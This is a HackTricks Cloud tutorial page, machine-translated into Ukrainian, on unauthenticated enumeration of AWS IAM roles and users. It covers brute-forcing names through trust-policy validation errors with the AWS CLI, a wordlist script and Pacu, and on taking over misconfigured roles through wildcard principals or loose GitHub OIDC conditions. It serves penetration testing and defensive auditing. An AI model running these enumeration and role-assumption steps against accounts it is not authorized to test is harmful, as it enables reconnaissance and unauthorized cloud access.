AWS - IAM & STS Unauthenticated Enum
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Перерахувати ролі та імена користувачів в обліковому записі
Assume Role Brute-Force
caution
Ця техніка більше не працює, оскільки незалежно від того, чи існує роль, ви завжди отримаєте цю помилку:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas
Ви можете перевірити це, запустивши:
aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example
Attempting to assume a role without the necessary permissions triggers an AWS error message. For instance, if unauthorized, AWS might return:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
Це повідомлення підтверджує існування role, але вказує, що assume role policy цього role не дозволяє вам його assume. Натомість спроба assume a non-existent role leads to a different error:
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
Цікавим є те, що цей метод визначення існуючих та неіснуючих ролей застосовний навіть у різних облікових записах AWS. Маючи дійсний AWS account ID та цільовий wordlist, можна перерахувати ролі в обліковому записі без жодних вбудованих обмежень.
Ви можете використати цей script to enumerate potential principals для зловживання цією вразливістю.
Політики довіри: Brute-Force Cross Account ролі та користувачі
Налаштування або оновлення політики довіри ролі IAM передбачає визначення, які ресурси або сервіси AWS мають право assume цю роль та отримати тимчасові облікові дані. Якщо зазначений ресурс у політиці існує, політика довіри зберігається успішно. Однак, якщо ресурс не існує, генерується помилка, що вказує на те, що надано недійсний principal.
warning
Зауважте, що в цьому ресурсі можна вказати міжакаунтову роль або користувача:
arn:aws:iam::acc_id:role/role_namearn:aws:iam::acc_id:user/user_name
Ось приклад політики:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
Графічний інтерфейс (GUI)
Ось помилка, яку ви знайдете, якщо використовуєте роль, яка не існує. Якщо роль існує, політика буде збережена без будь-яких помилок. (Це повідомлення про помилку для оновлення, але воно також проявляється під час створення)
.png)
Інтерфейс командного рядка (CLI)
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
Ви можете автоматизувати цей процес за допомогою https://github.com/carlospolop/aws_tools
bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt
Або використовуючи Pacu:
run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txtrun iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt- Роль
admin, використана в прикладі, — це роль у вашому акаунті, яку pacu буде імітувати, щоб створити політики, необхідні для виконання enumeration
Privesc
У випадку, якщо роль була неправильно налаштована і дозволяє будь-кому приймати її:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
Атакувальник може просто взяти її на себе.
Федерація OIDC третьої сторони
Уявіть, що вам вдалося прочитати Github Actions workflow, який отримує доступ до role всередині AWS.
Ця довіра може надати доступ до ролі з наступною trust policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
Ця trust policy може бути правильною, але відсутність додаткових умов має викликати у вас недовіру.
Це тому, що попередню роль може взяти на себе будь-хто з Github Actions! Ви повинні вказати в умовах також інші речі такі як org name, repo name, env, brach...
Інша потенційна misconfiguration — це додати умову на кшталт наступної:
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
Зауважте, що wildcard (*) стоїть перед двоеточчям (:). Ви можете створити org, наприклад org_name1, і assume the role через Github Action.
Посилання
- https://www.youtube.com/watch?v=8ZXRw4Ry3mQ
- https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud